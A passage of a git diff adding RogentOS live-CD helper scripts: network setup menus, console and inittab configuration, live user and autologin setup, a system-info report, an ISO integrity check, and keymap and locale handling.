if_devname="${if_devname}${if_usbproduct}" + fi + + if [[ ${bus} == "ieee1394" ]] + then + if_devname="IEEE1394 (FireWire) Network Adapter"; + fi + + echo ${if_devname} +} + +get_ifdesc() { + local iface=$1 + desc=$(get_ifproduct ${iface}) + if [[ -n ${desc} ]] + then + echo $desc + return; + fi + + desc=$(get_ifdriver ${iface}) + if [[ -n ${desc} ]] + then + echo $desc + return; + fi + + desc=$(get_ifmac ${iface}) + if [[ -n ${desc} ]] + then + echo $desc + return; + fi + + echo "Unknown" +} + +show_ifmenu() { + local old_ifs="${IFS}" + local opts + IFS="" + for ifname in $(/sbin/ifconfig -a | grep "^[^ ]"); do + ifname="${ifname%% *}" + [[ ${ifname} == "lo" ]] && continue + opts="${opts} '${ifname}' '$(get_ifdesc ${ifname})'" + done + IFS="${old_ifs}" + + eval dialog --menu \"Please select the interface that you wish to configure from the list below:\" 0 0 0 $opts 2>iface + [[ "$?" == "1" ]] && exit + + iface=$(< iface) +} + +show_ifconfirm() { + local iface=$1 + local if_mac=$(get_ifmac ${iface}) + local if_driver=$(get_ifdriver ${iface}) + local if_bus=$(get_ifbus ${iface}) + local if_product=$(get_ifproduct ${iface}) + + local text="Details for network interface ${iface} are shown below.\n\nInterface name: ${iface}\n" + [[ -n ${if_product} ]] && text="${text}Device: ${if_product}\n" + [[ -n ${if_mac} ]] && text="${text}MAC address: ${if_mac}\n" + [[ -n ${if_driver} ]] && text="${text}Driver: ${if_driver}\n" + [[ -n ${if_bus} ]] && text="${text}Bus type: ${if_bus}\n" + text="${text}\nIs this the interface that you wish to configure?" + + if ! dialog --title "Interface details" --yesno "${text}" 15 70 + then + result="no" + else + result="yes" + fi +} + +livecd_console_settings() { + # scan for a valid baud rate + case "$1" in + 300*) + LIVECD_CONSOLE_BAUD=300 + ;; + 600*) + LIVECD_CONSOLE_BAUD=600 + ;; + 1200*) + LIVECD_CONSOLE_BAUD=1200 + ;; + 2400*) + LIVECD_CONSOLE_BAUD=2400 + ;; + 4800*) + LIVECD_CONSOLE_BAUD=4800 + ;; + 9600*) + LIVECD_CONSOLE_BAUD=9600 + ;; + 14400*) + LIVECD_CONSOLE_BAUD=14400 + ;; + 19200*) + LIVECD_CONSOLE_BAUD=19200 + ;; + 28800*) + LIVECD_CONSOLE_BAUD=28800 + ;; + 38400*) + LIVECD_CONSOLE_BAUD=38400 + ;; + 57600*) + LIVECD_CONSOLE_BAUD=57600 + ;; + 115200*) + LIVECD_CONSOLE_BAUD=115200 + ;; + esac + if [ "${LIVECD_CONSOLE_BAUD}" = "" ] + then + # If it's a virtual console, set baud to 38400, if it's a serial + # console, set it to 9600 (by default anyhow) + case ${LIVECD_CONSOLE} in + tty[0-9]) + LIVECD_CONSOLE_BAUD=38400 + ;; + *) + LIVECD_CONSOLE_BAUD=9600 + ;; + esac + fi + export LIVECD_CONSOLE_BAUD + + # scan for a valid parity + # If the second to last byte is a [n,e,o] set parity + local parity + parity=$(livecd_rev_string $1 | cut -b 2-2) + case "$parity" in + [neo]) + LIVECD_CONSOLE_PARITY=$parity + ;; + esac + export LIVECD_CONSOLE_PARITY + + # scan for databits + # Only set databits if second to last character is parity + if [ "${LIVECD_CONSOLE_PARITY}" != "" ] + then + LIVECD_CONSOLE_DATABITS=$(livecd_rev_string $1 | cut -b 1) + fi + export LIVECD_CONSOLE_DATABITS + return 0 +} + +livecd_read_commandline() { + livecd_get_cmdline || return 1 + + for x in ${CMDLINE} + do + case "${x}" in + cdroot) + CDBOOT="yes" + RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$" + export CDBOOT RC_NO_UMOUNTS + ;; + cdroot\=*) + CDBOOT="yes" + RC_NO_UMOUNTS="^(/|/dev|/dev/pts|/lib/rcscripts/init.d|/proc|/proc/.*|/sys|/mnt/livecd|/newroot)$" + export CDBOOT RC_NO_UMOUNTS + ;; + console\=*) + local live_console + live_console=$(livecd_parse_opt "${x}") + + # Parse the console line. No options specified if + # no comma + LIVECD_CONSOLE=$(echo ${live_console} | cut -f1 -d,) + if [ "${LIVECD_CONSOLE}" = "" ] + then + # no options specified + LIVECD_CONSOLE=${live_console} + else + # there are options, we need to parse them + local livecd_console_opts + livecd_console_opts=$(echo ${live_console} | cut -f2 -d,) + livecd_console_settings ${livecd_console_opts} + fi + export LIVECD_CONSOLE + ;; + esac + done + return 0 +} + +livecd_fix_inittab() { + if [ "${CDBOOT}" = "" ] + then + return 1 + fi + + # Create a backup + cp -f /etc/inittab /etc/inittab.old + + # Comment out current getty settings + sed -i -e '/^c[0-9]/ s/^/#/' /etc/inittab + sed -i -e '/^s[01]/ s/^/#/' /etc/inittab + + # SPARC & HPPA console magic + if [ "${HOSTTYPE}" = "sparc" -o "${HOSTTYPE}" = "hppa" -o "${HOSTTYPE}" = "ppc64" ] + then + # Mount openprom tree for user debugging purposes + if [ "${HOSTTYPE}" = "sparc" ] + then + mount -t openpromfs none /proc/openprom + fi + + # SPARC serial port A, HPPA mux / serial + if [ -c "/dev/ttyS0" ] + then + LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyS0 speed) + echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyS0 vt100" >> /etc/inittab + fi + # HPPA software PDC console (K-models) + if [ "${LIVECD_CONSOLE}" = "ttyB0" ] + then + mknod /dev/ttyB0 c 11 0 + LIVECD_CONSOLE_BAUD=$(stty -F /dev/ttyB0 speed) + echo "b0:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${LIVECD_CONSOLE_BAUD} ttyB0 vt100" >> /etc/inittab + fi + # FB / STI console + if [ -c "/dev/vc/1" -o -c "/dev/tts/1" -o -c "/dev/tty2" ] + then + MODEL_NAME=$(cat /proc/cpuinfo |grep "model name"|sed 's/.*: //') + if [ "${MODEL_NAME}" = "UML" ] + then + for x in 0 1 2 3 4 5 6 + do + echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab + done + else + for x in 1 2 3 4 5 6 + do + echo "c${x}:12345:respawn:/sbin/mingetty --noclear --autologin root tty${x}" >> /etc/inittab + done + fi + fi + if [ -c "/dev/hvc0" ] + then + einfo "Adding hvc console to inittab" + echo "s0:12345:respawn:/sbin/agetty -nl /bin/bashlogin 9600 hvc0 vt320" >> /etc/inittab + fi + + + # The rest... + else + for x in 1 2 3 4 5 6 + do + echo "c${x}:12345:respawn:/sbin/agetty -nl /bin/bashlogin 38400 tty${x} linux" >> /etc/inittab + done + fi + + # EFI-based machines should automatically hook up their console lines + if dmesg | grep -q '^Adding console on' + then + dmesg | grep '^Adding console on' | while read x; do + line=`echo "$x" | cut -d' ' -f4` + id=e`echo "$line" | grep -o '.\{1,3\}$'` + [ "${line}" = "${LIVECD_CONSOLE}" ] && continue # already setup above + case "$x" in + *options\ \'[0-9]*) speed=`echo "$x" | sed "s/.*options '//; s/[^0-9].*//"` ;; + *) speed=9600 ;; # choose a default, only matters if it is serial + esac + echo "$id:12345:respawn:/sbin/agetty -nl /bin/bashlogin ${speed} ${line} vt100" >> /etc/inittab + done + fi + + # force reread of inittab + kill -HUP 1 + return 0 +} diff --git a/app-misc/rogentoslive-tools/files/2/livespawn b/app-misc/rogentoslive-tools/files/2/livespawn new file mode 100644 index 00000000..44d7257e --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/livespawn @@ -0,0 +1,10 @@ +#!/usr/bin/python +import sys, os, subprocess +args = sys.argv[1:] +if not args: raise SystemExit(1) + +pid = os.fork() +if pid == 0: + p = subprocess.Popen(args) + rc = p.wait() + raise SystemExit(rc) diff --git a/app-misc/rogentoslive-tools/files/2/logscript.sh b/app-misc/rogentoslive-tools/files/2/logscript.sh new file mode 100644 index 00000000..78381915 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/logscript.sh @@ -0,0 +1,111 @@ +#!/bin/sh +#requires the following +# free, hostname, grep, cut, awk, uname + +HOSTNAME=`hostname -s` +IP_ADDRS=`ifconfig | grep 'inet addr' | grep -v '255.0.0.0' | cut -f2 -d':' | awk '{print $1}'` +IP_ADDRS=`echo $IP_ADDRS | sed 's/\n//g'` + +#memory +MEMORY=`free | grep Mem | awk '{print $2}'` + +#cpu info +CPUS=`cat /proc/cpuinfo | grep processor | wc -l | awk '{print $1}'` +CPU_MHZ=`cat /proc/cpuinfo | grep MHz | tail -n1 | awk '{print $4}'` +CPU_TYPE=`cat /proc/cpuinfo | grep vendor_id | tail -n 1 | awk '{print $3}'` +CPU_TYPE2=`uname -m` +CPU_TYPE3=`uname -p` + +OS_NAME=`uname -s` +OS_OS=`uname -o` +OS_KERNEL=`uname -r` +OS_RELEASE=`cat /etc/rogentos-release` +OS_EDITION=`cat /etc/rogentos-edition` +ESELECT_KERNEL=`eselect --no-color kernel list` +ESELECT_OPENGL=`eselect --no-color opengl list` +ESELECT_JAVA=`eselect --no-color java-vm list` +ESELECT_JAVAP=`eselect --no-color java-nsplugin list` + +EQUO=`equo --version` +PORTAGE=`emerge --version` + +UPTIME=`uptime` +MEM=`free -t -m` +SPACE=`df -TH` + +PCIINFO=`lspci | cut -f3 -d':'` +#Another way to do it +#PCIINFO=`lspci | cut -f3 -d':'` + +LSUSB=`lsusb` +LSMOD=`lsmod` +#print it out +echo "$HOSTNAME" +echo "--------------------------------------------------------------------" +echo "Hostname : $HOSTNAME" +echo "Host Address : $IP_ADDRS" +echo "Main Memory : $MEMORY" +echo "Number of CPUs : $CPUS" +echo "CPU Type : $CPU_TYPE2 $CPU_TYPE3 $CPU_MHZ MHz" +echo "OS Release : $OS_RELEASE" +echo "OS Edition : $OS_EDITION" +echo "Kernel Name : $OS_NAME $OS_OS" +echo "Kernel Version : $OS_KERNEL" +echo "Uptime : $UPTIME" +echo "--------------------------------------------------------------------" +echo +echo "Entropy Version" +echo "$EQUO" +echo +echo "Portage Version" +echo "$PORTAGE" +echo "--------------------------------------------------------------------" +echo +echo "Kernel List" +echo "$ESELECT_KERNEL" +echo "Your Kernel Should Be Set To:" +echo "$OS_KERNEL" +echo "Use eselect kernel set #" +echo "--------------------------------------------------------------------" +echo +echo "OpenGL List" +echo "$ESELECT_OPENGL" +echo "The above should be set to your video card, see lspci" +echo "Use eselect opengl set #" +echo "--------------------------------------------------------------------" +echo +echo "Java VM List" +echo "$ESELECT_JAVA" +echo "Use java-config --set-system-vm #" +echo "--------------------------------------------------------------------" +echo +echo "Java-nsplugin List" +echo "$ESELECT_JAVAP" +echo "Use eselect java-nsplugin set #" +echo "--------------------------------------------------------------------" +echo +echo "Devices - lspci" +echo "--------------------------------------------------------------------" +echo "$PCIINFO" +echo "--------------------------------------------------------------------" +echo +echo "Devices - lsmod" +echo "--------------------------------------------------------------------" +echo "$LSMOD" +echo "--------------------------------------------------------------------" +echo +echo "Devices - lsusb" +echo "--------------------------------------------------------------------" +echo "$LSUSB" +echo "--------------------------------------------------------------------" +echo +echo "Memory" +echo "--------------------------------------------------------------------" +echo "$MEM" +echo "--------------------------------------------------------------------" +echo +echo "Disk Space" +echo "--------------------------------------------------------------------" +echo "$SPACE" +echo "--------------------------------------------------------------------" +echo diff --git a/app-misc/rogentoslive-tools/files/2/net-setup b/app-misc/rogentoslive-tools/files/2/net-setup new file mode 100644 index 00000000..e84de48b --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/net-setup @@ -0,0 +1,65 @@ +#!/bin/bash +# Copyright 1999-2005 Gentoo Foundation +# Copyright 2006-2008 Fabio Erculiani +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo/src/livecd-tools/net-setup,v 1.19 2006/05/30 20:20:11 wolf31o2 Exp $ + +if [ -f /sbin/livecd-functions.sh ] +then + source /sbin/livecd-functions.sh +else + echo "ERROR: /sbin/livecd-functions.sh could not be loaded!" + exit 1 +fi + +if [ ! -x $(which dialog) ] +then + echo "ERROR: The dialog utility is required for net-setup. Exiting!" + exit 1 +fi + +livecd_check_root || exit 1 + +# Hide any potential error messages from the readlink/dirname/etc calls below +exec 2>/dev/null + +if [ -z "${1}" ] +then + show_ifmenu + echo $iface +else + iface="${1}" +fi + +[ ! -d /tmp/setup.opts ] && mkdir /tmp/setup.opts +cd /tmp/setup.opts + +while true; do + show_ifconfirm $iface + [[ $result == "yes" ]] && break + show_ifmenu +done + +# Show stderr again +exec 2>/dev/stderr + +dialog --title "Network setup" --menu "This script is designed to setup both wired and wireless network settings. All questions below apply to the ${iface} interface only. Choose one option:" 20 60 7 1 "My network is wireless" 2 "My network is wired" 2> ${iface}.WIRED_WIRELESS +WIRED_WIRELESS=$(tail -n 1 ${iface}.WIRED_WIRELESS) +case ${WIRED_WIRELESS} in + 1) + livecd_config_wireless + livecd_config_ip + livecd_write_wireless_conf + ;; + 2) + livecd_config_ip + ;; + *) + exit 0 + ;; +esac +livecd_write_net_conf + +echo "Type \"ifconfig\" to make sure the interface was configured correctly." + +# vim: ts=4 diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-functions.sh b/app-misc/rogentoslive-tools/files/2/rogentos-functions.sh new file mode 100644 index 00000000..d5584715 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/rogentos-functions.sh @@ -0,0 +1,284 @@ +#!/bin/bash + +GDM_FILE="/usr/share/gdm/defaults.conf" +CUSTOM_GDM_FILE="/etc/gdm/custom.conf" +KDM_FILE="/usr/share/config/kdm/kdmrc" +LXDM_FILE="/etc/lxdm/lxdm.conf" +LIGHTDM_FILE="/etc/lightdm/lightdm.conf" +OEM_FILE="/etc/oemlive.sh" +OEM_FILE_NEW="/etc/oem/liveboot.sh" +LIVE_USER_GROUPS="audio bumblebee cdrom cdrw clamav console entropy games \ +kvm lp lpadmin messagebus plugdev polkituser portage pulse pulse-access pulse-rt \ +scanner usb users uucp vboxguest vboxusers video wheel" +LIVE_USER=${ROGENTOS_USER:-rogentosuser} + +rogentos_setup_autologin() { + # GDM - GNOME + if [ -f "${GDM_FILE}" ]; then + sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=true/" ${GDM_FILE} + sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" ${GDM_FILE} + + sed -i "s/^TimedLoginEnable=.*/TimedLoginEnable=true/" ${GDM_FILE} + sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" ${GDM_FILE} + sed -i "s/^TimedLoginDelay=.*/TimedLoginDelay=0/" ${GDM_FILE} + + elif [ -f "${CUSTOM_GDM_FILE}" ]; then + # FIXME: if this is called multiple times, it generates duplicated entries + sed -i "s:\[daemon\]:\[daemon\]\nAutomaticLoginEnable=true\nAutomaticLogin=${LIVE_USER}\nTimedLoginEnable=true\nTimedLogin=${LIVE_USER}\nTimedLoginDelay=0:" \ + "${CUSTOM_GDM_FILE}" + # change other entries there + sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}" + sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}" + fi + + # KDM - KDE + if [ -f "$KDM_FILE" ]; then + sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=true/" $KDM_FILE + sed -i "s/AutoLoginUser=.*/AutoLoginUser=${LIVE_USER}/" $KDM_FILE + sed -i "s/AutoLoginDelay=.*/AutoLoginDelay=0/" $KDM_FILE + sed -i "s/AutoLoginAgain=.*/AutoLoginAgain=true/" $KDM_FILE + + sed -i "s/AllowRootLogin=.*/AllowRootLogin=true/" $KDM_FILE + sed -i "s/AllowNullPasswd=.*/AllowNullPasswd=true/" $KDM_FILE + sed -i "s/AllowShutdown=.*/AllowShutdown=All/" $KDM_FILE + + sed -i "/^#.*AutoLoginEnable=/ s/^#//" $KDM_FILE + sed -i "/^#.*AutoLoginUser=/ s/^#//" $KDM_FILE + sed -i "/^#.*AutoLoginDelay=/ s/^#//" $KDM_FILE + sed -i "/^#.*AutoLoginAgain=/ s/^#//" $KDM_FILE + + sed -i "/^#AllowRootLogin=/ s/^#//" $KDM_FILE + sed -i "/^#AllowNullPasswd=/ s/^#//" $KDM_FILE + sed -i "/^#AllowShutdown=/ s/^#//" $KDM_FILE + fi + + # LXDM + if [ -f "$LXDM_FILE" ]; then + sed -i "s/autologin=.*/autologin=${LIVE_USER}/" $LXDM_FILE + sed -i "/^#.*autologin=/ s/^#//" $LXDM_FILE + fi + + # LightDM + if [ -f "$LIGHTDM_FILE" ]; then + sed -i "s/autologin-user=.*/autologin-user=${LIVE_USER}/" $LIGHTDM_FILE + sed -i "/^#.*autologin-user=/ s/^#//" $LIGHTDM_FILE + fi + + # Setup correct login session + rogentos_is_normal_boot && rogentos_fixup_gnome_autologin_session +} + +rogentos_disable_autologin() { + # GDM - GNOME + if [ -f "${GDM_FILE}" ]; then + sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=false/" ${GDM_FILE} + fi + + # KDM - KDE + KDM_FILE="/usr/share/config/kdm/kdmrc" + if [ -f "$KDM_FILE" ]; then + sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=false/" $KDM_FILE + fi + + # LXDM + if [ -f "$LXDM_FILE" ]; then + sed -i "s/^autologin=.*/autologin=/" $LXDM_FILE + fi + + # LightDM + if [ -f "$LIGHTDM_FILE" ]; then + sed -i "s/^autologin-user=.*/#autologin-user=/" $LIGHTDM_FILE + fi +} + +rogentos_setup_live_user() { + local live_user="${1}" + local live_uid="${2}" + if [ -z "${live_user}" ]; then + live_user="${LIVE_USER}" + fi + if [ -n "${live_uid}" ]; then + live_uid="-u ${live_uid}" + fi + id ${live_user} &> /dev/null + if [ "${?}" != "0" ]; then + local live_groups="" + local avail_groups=$(cat /etc/group | cut -d":" -f 1 | xargs echo) + for a_group in ${avail_groups}; do + for p_group in ${LIVE_USER_GROUPS}; do + if [ "${p_group}" = "${a_group}" ]; then + if [ -z "${live_groups}" ]; then + live_groups="${p_group}" + else + live_groups="${live_groups},${p_group}" + fi + fi + done + done + # then setup live user, that is missing + useradd -d "/home/${live_user}" -g root -G ${live_groups} -c "rogentosuser" \ + -m -N -p "" -s /bin/bash ${live_uid} "${live_user}" + return 0 + fi + return 1 +} + +rogentos_setup_motd() { + echo -e "\n\tWelcome to `cat /etc/rogentos-edition`\n\t`uname -p`\n\t`uname -o` `uname -r`\n" > /etc/motd +} + +rogentos_setup_vt_autologin() { + if openrc_running; then + . /sbin/livecd-functions.sh + export CDBOOT=1 + livecd_fix_inittab + elif systemd_running; then + cp /usr/lib/systemd/system/getty@.service \ + /etc/systemd/system/autologin@.service + sed -i "/^ExecStart=/ s:/sbin/agetty:/sbin/agetty --autologin root:g" \ + /usr/lib/systemd/system/getty@.service + sed -i "/^ExecStart=/ s:--noclear::g" \ + /usr/lib/systemd/system/getty@.service + systemctl daemon-reload + systemctl restart getty@tty1 + fi +} + +rogentos_setup_oem_livecd() { + if [ -x "${OEM_LIVE_NEW}" ]; then + ${OEM_FILE_NEW} || return 1 + elif [ -x "${OEM_LIVE}" ]; then + ${OEM_FILE} || return 1 + fi + return 0 +} + +rogentos_is_live() { + local cmdl=$(cat /proc/cmdline | grep cdroot) + if [ -n "${cmdl}" ]; then + return 0 + else + return 1 + fi +} + +rogentos_setup_gui_installer() { + # Configure Fluxbox + local dmrc_file="/home/${LIVE_USER}/.dmrc" + local flux_dir="/home/${LIVE_USER}/.fluxbox" + local flux_startup_file="${flux_dir}/startup" + if [ ! -d "${flux_dir}" ]; then + mkdir "${flux_dir}" && chown "${LIVE_USER}" "${flux_dir}" + fi + echo "[Desktop]" > "${dmrc_file}" + echo "Session=fluxbox" >> "${dmrc_file}" + chown rogentosuser "${dmrc_file}" + sed -i "/installer --fullscreen/ s/^# //" "${flux_startup_file}" + if [ -x "/usr/libexec/gdm-set-default-session" ]; then + # oh my fucking glorious god, this + # is AccountsService bullshit + # cross fingers + /usr/libexec/gdm-set-default-session fluxbox + fi + if [ -x "/usr/libexec/gdm-set-session" ]; then + # GDM 3.6 support + /usr/libexec/gdm-set-session rogentosuser fluxbox + fi +} + +# This function reads /etc/skel/.dmrc and properly +# set the Session= value inside AccountsService. +# Blame the idiots who broke de-facto standards +# and created this fugly thing called AccountsService +rogentos_fixup_gnome_autologin_session() { + local cur_session= + + if [ -f "/etc/skel/.dmrc" ]; then + cur_session=$(cat /etc/skel/.dmrc | grep ^Session | cut -d"=" -f 2) + fi + if [ -z "${cur_session}" ]; then + return 0 + fi + + local sess_file="/usr/share/xsessions/${cur_session}.desktop" + if [ ! -f "${sess_file}" ]; then + return 0 + fi + + if [ -x "/usr/libexec/gdm-set-default-session" ]; then + # this edits /etc/gdm/custom.conf adding [daemon]\nDefaultSession=${cur_session} + /usr/libexec/gdm-set-default-session "${cur_session}" + fi + + if [ -x "/usr/libexec/gdm-set-session" ]; then + # GDM 3.6 support + local users_in_users=$(cat /etc/group | grep "^users" | awk -F':' '{ print $4 }' | sed "s:,: :g") + for usr in ${users_in_users}; do + /usr/libexec/gdm-set-session "${usr}" "${cur_session}" + done + fi +} + +rogentos_setup_text_installer() { + if openrc_running; then + # switch to verbose mode + splash_manager -c set -t default -m v &> /dev/null + reset + chvt 1 + clear + fi + rogentos_setup_text_installer_motd +} + +rogentos_setup_text_installer_motd() { + echo "Welcome to RogentOS Linux Text installation." >> /etc/motd + echo "to run the installation type: installer " >> /etc/motd +} + +rogentos_is_text_install() { + local _is_install=$(cat /proc/cmdline | grep installer-text) + if [ -n "${_is_install}" ]; then + return 0 + else + return 1 + fi +} + +rogentos_is_gui_install() { + local _is_install=$(cat /proc/cmdline | grep installer-gui) + if [ -n "${_is_install}" ]; then + return 0 + else + return 1 + fi +} + +rogentos_is_live_install() { + ( rogentos_is_text_install || rogentos_is_gui_install ) && return 0 + return 1 +} + +rogentos_is_mce() { + local _is_mce=$(cat /proc/cmdline | grep sabayonmce) + if [ -n "${_is_mce}" ]; then + return 0 + else + return 1 + fi +} + +rogentos_is_normal_boot() { + if ! rogentos_is_mce && ! rogentos_is_live_install; then + return 0 + else + return 1 + fi +} + +systemd_running() { + test -d /run/systemd/system +} + +openrc_running() { + test -e /run/openrc/softlevel +} diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-live-check b/app-misc/rogentoslive-tools/files/2/rogentos-live-check new file mode 100644 index 00000000..5ad3d509 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/rogentos-live-check @@ -0,0 +1,27 @@ +#!/bin/sh +# +# rogentos_livechk.sh +# +# Checks the integrity of a LiveCD/DVD by passing the +# contents of the image through a md5sum (to be compared +# with an documented value elsewhere). +# + +if ( ! isoinfo -d -i /dev/cdrom >>/dev/null 2>/dev/null ); then + echo "CDROM/DVD image not found!" + exit 1 +fi + +echo -e "Checking image integrity, please allow several minutes...\n" +echo "You can check for errors by running 'tail /var/log/messages'" +echo "in another console window. If you encounter multiple device" +echo "errors with you cdrom, this probably indicates the test is failing." +echo "You may type 'Ctrl-c' to abort the check." + +BLOCK_SIZE=`isoinfo -d -i /dev/cdrom | grep "Logical block size is" | cut -d: -f2 | sed 's/^[ ]//g'` +VOL_SIZE=`isoinfo -d -i /dev/cdrom | grep "Volume size is" | cut -d: -f2 | sed 's/^[ ]//g'` +dd if=/dev/cdrom bs=$BLOCK_SIZE count=$VOL_SIZE conv=notrunc,noerror | md5sum + +echo "Compare the above value with the value supplied in" +echo "the release notes for this version at:" +echo "http://www.rogentos.org/" diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader new file mode 100644 index 00000000..8b0cf007 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader @@ -0,0 +1,10 @@ +#!/bin/sh + +SABAYON_LOADER="/usr/bin/xdg-open" +SABAYON_URL=${SABAYON_URL:-http://www.rogentos.org?install_welcome=1} + +# load Sabayon URL +[[ -x "${SABAYON_LOADER}" ]] && ${SABAYON_LOADER} ${SABAYON_URL} & + +# remove myself from autostart +rm ~/.config/autostart/rogentos-welcome-loader.desktop -f diff --git a/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop new file mode 100644 index 00000000..15679628 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/rogentos-welcome-loader.desktop @@ -0,0 +1,7 @@ +[Desktop Entry] +Type=Application +Name=rogentos-loader +Exec=rogentos-welcome-loader +Icon=system-run +Comment=Sabayon Linux post-install Welcome Screen +Terminal=false diff --git a/app-misc/rogentoslive-tools/files/2/rogentoslive b/app-misc/rogentoslive-tools/files/2/rogentoslive new file mode 100644 index 00000000..ee1c5541 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/rogentoslive @@ -0,0 +1,14 @@ +#!/sbin/runscript +# Copyright 2004-2013 Sabayon +# Distributed under the terms of the GNU General Public License v2 + +depend() { + after x-setup + before xdm +} + +start() { + ebegin "Preparing Live system..." + /usr/libexec/rogentoslive.sh + eend $? +} diff --git a/app-misc/rogentoslive-tools/files/2/rogentoslive.service b/app-misc/rogentoslive-tools/files/2/rogentoslive.service new file mode 100644 index 00000000..92b8455e --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/rogentoslive.service @@ -0,0 +1,11 @@ +[Unit] +Description=Sabayon live system setup +Before=display-manager.service getty.target + +[Service] +Type=oneshot +RemainAfterExit=true +ExecStart=/usr/libexec/rogentoslive.sh + +[Install] +WantedBy=multi-user.target diff --git a/app-misc/rogentoslive-tools/files/2/rogentoslive.sh b/app-misc/rogentoslive-tools/files/2/rogentoslive.sh new file mode 100644 index 00000000..3b5def3d --- /dev/null +++ b/app-misc/rogentoslive-tools/files/2/rogentoslive.sh @@ -0,0 +1,183 @@ +#!/bin/bash + +. /sbin/rogentos-functions.sh + +CMDLINE=$(cat /proc/cmdline 2> /dev/null) + +setup_password() { + local cmdline_autoscramble_exist=$(echo ${CMDLINE} | grep autoscramble) + if [ -n "${cmdline_autoscramble_exist}" ]; then + echo "Autoscrambling root and live user passwords" + echo root:\`pwgen -s 16\` | chpasswd > /dev/null 2>&1 + echo ${LIVE_USER}:\`pwgen -s 16\` | chpasswd > /dev/null 2>&1 + fi +} + +setup_x() { + if systemd_running; then + [ -x /sbin/gpu-configuration ] && /sbin/gpu-configuration + else + while [ -e "/etc/x-setup-configuration-running" ]; do + sleep 1 + done + fi +} + +setup_settingsd() { + if [ -e /usr/share/eselect/modules/settingsd.eselect ]; then + if systemd_running; then + eselect settingsd set systemd > /dev/null + elif openrc_running; then + eselect settingsd set openrc > /dev/null + fi + fi +} + +setup_desktop() { + # create LIVE_USER if it does not exist + rogentos_setup_live_user "${LIVE_USER}" "1000" + if [ "${?}" = "1" ]; then + # if user is already available, then setup skel + # Copy ${LIVE_USER} directory + rm -rf /home/${LIVE_USER} + cp /etc/skel /home/${LIVE_USER} -Rp + chown ${LIVE_USER}:users /home/${LIVE_USER} -R + fi + + local liveinst_desktop="/usr/share/applications/liveinst.desktop" + local liveinst_desktop_name="$(basename ${liveinst_desktop})" + if [ -f "${liveinst_desktop}" ]; then + [[ -d "/home/${LIVE_USER}/Desktop" ]] || \ + mkdir -p "/home/${LIVE_USER}/Desktop" + cp "${liveinst_desktop}" "/home/${LIVE_USER}/Desktop" + chown ${LIVE_USER}:users "/home/${LIVE_USER}/Desktop" -R + chmod +x "/home/${LIVE_USER}/Desktop/${liveinst_desktop_name}" + rm -f /etc/skel/Desktop/Anaconda*.desktop \ + /home/${LIVE_USER}/Desktop/Anaconda*.desktop + fi + + # Disable memory eating services + rm -f /etc/xdg/autostart/hplip-systray.desktop \ + /etc/xdg/autostart/beagle-search-autostart.desktop \ + /etc/xdg/autostart/tracker*.desktop \ + /etc/xdg/autostart/magneto.desktop \ + /etc/xdg/autostart/beagled-autostart.desktop \ + /usr/share/autostart/magneto.desktop \ + /usr/share/autostart/nepomukserver.desktop + + # Remove broken entries in /etc/mtab + if [ ! -L /etc/mtab ]; then + sed -i '/.*newroot.*/d' /etc/mtab + fi + + # create /overlay, this way df -h won't bitch + [[ -d "/overlay" ]] || mkdir /overlay + + return 0 +} + +setup_keymap() { + local keymap_toset= + local keymap_toset_model= + + for word in ${CMDLINE}; do + case ${word} in + console-setup/layoutcode=*) + keymap_toset="${word/*=}" + ;; + console-setup/modelcode=*) + keymap_toset_model="-${word/*=}" + ;; + KEYMAP=*) + keymap_toset="${word/*=}" + ;; + keymap=*) + keymap_toset="${word/*=}" + ;; + vconsole.keymap=*) + keymap_toset="${word/*=}" + ;; + vconsole.keymap.model=*) + keymap_toset_model="-${word/*=}" + ;; + esac + done + + if [ -n "${keymap_toset}" ]; then + aggregated_keymap="${keymap_toset}${keymap_toset_model}" + /sbin/keyboard-setup-2 "${aggregated_keymap}" all &> /dev/null + if [ "${?}" = "0" ]; then + openrc_running && /etc/init.d/keymaps restart --nodeps + # systemd not needed here, this script runs before vconsole-setup + fi + fi +} + +setup_locale() { + for word in ${CMDLINE}; do + case ${word} in + locale=*) + lang_toset="${word/*=}" + ;; + LANG=*) + lang_toset="${word/*=}" + ;; + lang=*) + lang_toset="${word/*=}" + ;; + esac + done + if [ -n "${lang_toset}" ]; then + files=( + "/etc/env.d/02locale" + "/etc/locale.conf" + ) + for path in "${files[@]}"; do + if [ -e "$path" ]; then + sed -i "s/^LC_ALL=.*/LC_ALL=${lang_toset}.UTF-8/g" \ + "${path}" + sed -i "s/^LANG=.*/LANG=${lang_toset}.UTF-8/g" "${path}" + sed -i "s/^LANGUAGE=.*/LANGUAGE=${lang_toset}.UTF-8/g" \ + "${path}" + else + echo 